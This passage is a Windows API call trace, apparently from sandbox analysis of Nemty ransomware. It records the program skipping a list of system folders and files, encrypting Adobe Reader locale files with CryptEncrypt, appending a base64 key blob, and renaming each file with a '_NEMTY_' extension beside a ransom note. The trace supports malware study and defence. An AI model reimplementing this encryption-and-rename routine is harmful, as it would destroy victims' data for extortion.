[0180.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.699] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0180.699] lstrcmpiW (lpString1="Services.asfx", lpString2=".") returned 1 [0180.699] lstrcmpiW (lpString1="Services.asfx", lpString2="..") returned 1 [0180.699] lstrcmpiW (lpString1="Services.asfx", lpString2="...") returned 1 [0180.699] lstrcmpiW (lpString1="Services.asfx", lpString2="windows") returned -1 [0180.699] lstrcmpiW (lpString1="Services.asfx", lpString2="$RECYCLE.BIN") returned 1 [0180.699] lstrcmpiW (lpString1="Services.asfx", lpString2="rsa") returned 1 [0180.699] lstrcmpiW (lpString1="Services.asfx", lpString2="NTDETECT.COM") returned 1 [0180.699] lstrcmpiW (lpString1="Services.asfx", lpString2="ntldr") returned 1 [0180.699] lstrcmpiW (lpString1="Services.asfx", lpString2="MSDOS.SYS") returned 1 [0180.699] lstrcmpiW (lpString1="Services.asfx", lpString2="IO.SYS") returned 1 [0180.699] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0180.699] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0180.699] lstrcmpiW (lpString1="Services.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0180.699] lstrcmpiW (lpString1="Services.asfx", lpString2="ntuser.dat") returned 1 [0180.699] lstrcmpiW (lpString1="Services.asfx", lpString2="desktop.ini") returned 1 [0180.699] lstrcmpiW (lpString1="Services.asfx", lpString2="CONFIG.SYS") returned 1 [0180.699] lstrcmpiW (lpString1="Services.asfx", lpString2="RECYCLER") returned 1 [0180.699] lstrcmpiW (lpString1="Services.asfx", lpString2="BOOTSECT.BAK") returned 1 [0180.700] lstrcmpiW (lpString1="Services.asfx", lpString2="bootmgr") returned 1 [0180.700] lstrcmpiW (lpString1="Services.asfx", lpString2="programdata") returned 1 [0180.700] lstrcmpiW (lpString1="Services.asfx", lpString2="appdata") returned 1 [0180.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0180.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0180.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0180.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0180.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0180.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0180.700] Sleep (dwMilliseconds=0x5) [0180.708] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1f5b7cb0, dwHighDateTime=0x1d561e8)) [0180.708] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1f5b7cb0, dwHighDateTime=0x1d561e8)) [0180.708] GetLastError () returned 0x0 [0180.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.708] GetLastError () returned 0x0 [0180.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.708] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0180.708] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0180.709] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0180.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0180.709] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="L1XRqHh7I/h9iM5uWj4OgWVSE2kooDqfQPLPOUd8X4uVlM+hcvfIj5xyFAfuu76Y\r\nFbQ18KV0B7cozfFRrw1yK4ZquCt/rAV36Wh1svZEf65fvjvTm+HwEb7tmhAytibx\r\nwzbyYZx5dDXsZHsPCtnuiYoTRRgKZg7iSTgDLoXsN0L4uwYrZ0/taLXCPh8Z9mLw\r\nAKAeyazvDcNOfab5AwkwSgrjW86TsNwW8aiEpQeaJWOAfjF89gHASsZUtiTZnF+w\r\ndSi7Bzi/YqwBDtAzp6KTeZFtjcguUrk8u5vhXtXdG20q9Yd+6bq+b5dvHRJHfZ3R\r\nT6wGeusyG5+jn7iX4GhVtg==\r\n", pcchString=0x653e29c) returned 1 [0180.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0180.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0180.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.709] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0180.709] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=227) returned 1 [0180.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340270 [0180.709] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.709] ReadFile (in: hFile=0x2f0, lpBuffer=0x6340270, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesRead=0x653e4e4*=0xe0, lpOverlapped=0x0) returned 1 [0180.710] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.710] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340270*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesWritten=0x653e4dc*=0xe0, lpOverlapped=0x0) returned 1 [0180.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0180.710] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=227, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe3 [0180.710] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0180.710] CloseHandle (hObject=0x2f0) returned 1 [0180.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0180.711] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.711] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0180.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0180.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0180.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.711] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\Services.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\services\\services.asfx._nemty_kgobjgd_")) returned 1 [0180.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0180.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0180.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0180.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.712] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f56b9f0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1f56b9f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1f56b9f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0180.712] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0180.712] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0180.712] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0180.712] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0180.712] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0180.712] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0180.712] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0180.712] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0180.712] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0180.712] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0180.712] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0180.712] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0180.712] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0180.713] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0180.713] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0180.713] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0180.713] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0180.713] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0180.713] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0180.713] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0180.713] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0180.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0180.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0180.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0180.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0180.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0180.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0180.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0180.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0180.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0180.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0180.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0180.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.714] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f56b9f0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1f56b9f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1f56b9f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0180.714] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0180.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0180.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0180.714] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Spelling.NLD", cAlternateFileName="")) returned 1 [0180.714] lstrcmpiW (lpString1="Spelling.NLD", lpString2=".") returned 1 [0180.714] lstrcmpiW (lpString1="Spelling.NLD", lpString2="..") returned 1 [0180.714] lstrcmpiW (lpString1="Spelling.NLD", lpString2="...") returned 1 [0180.714] lstrcmpiW (lpString1="Spelling.NLD", lpString2="windows") returned -1 [0180.714] lstrcmpiW (lpString1="Spelling.NLD", lpString2="$RECYCLE.BIN") returned 1 [0180.714] lstrcmpiW (lpString1="Spelling.NLD", lpString2="rsa") returned 1 [0180.714] lstrcmpiW (lpString1="Spelling.NLD", lpString2="NTDETECT.COM") returned 1 [0180.714] lstrcmpiW (lpString1="Spelling.NLD", lpString2="ntldr") returned 1 [0180.714] lstrcmpiW (lpString1="Spelling.NLD", lpString2="MSDOS.SYS") returned 1 [0180.714] lstrcmpiW (lpString1="Spelling.NLD", lpString2="IO.SYS") returned 1 [0180.714] lstrcmpiW (lpString1="Spelling.NLD", lpString2="boot.ini") returned 1 [0180.714] lstrcmpiW (lpString1="Spelling.NLD", lpString2="boot.ini") returned 1 [0180.714] lstrcmpiW (lpString1="Spelling.NLD", lpString2="AUTOEXEC.BAT") returned 1 [0180.714] lstrcmpiW (lpString1="Spelling.NLD", lpString2="ntuser.dat") returned 1 [0180.714] lstrcmpiW (lpString1="Spelling.NLD", lpString2="desktop.ini") returned 1 [0180.714] lstrcmpiW (lpString1="Spelling.NLD", lpString2="CONFIG.SYS") returned 1 [0180.714] lstrcmpiW (lpString1="Spelling.NLD", lpString2="RECYCLER") returned 1 [0180.714] lstrcmpiW (lpString1="Spelling.NLD", lpString2="BOOTSECT.BAK") returned 1 [0180.714] lstrcmpiW (lpString1="Spelling.NLD", lpString2="bootmgr") returned 1 [0180.714] lstrcmpiW (lpString1="Spelling.NLD", lpString2="programdata") returned 1 [0180.714] lstrcmpiW (lpString1="Spelling.NLD", lpString2="appdata") returned 1 [0180.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.714] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.NLD", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.714] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.NLD", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.NLD", lpUsedDefaultChar=0x0) returned 12 [0180.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.NLD", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.NLD", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.NLD", lpUsedDefaultChar=0x0) returned 12 [0180.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: 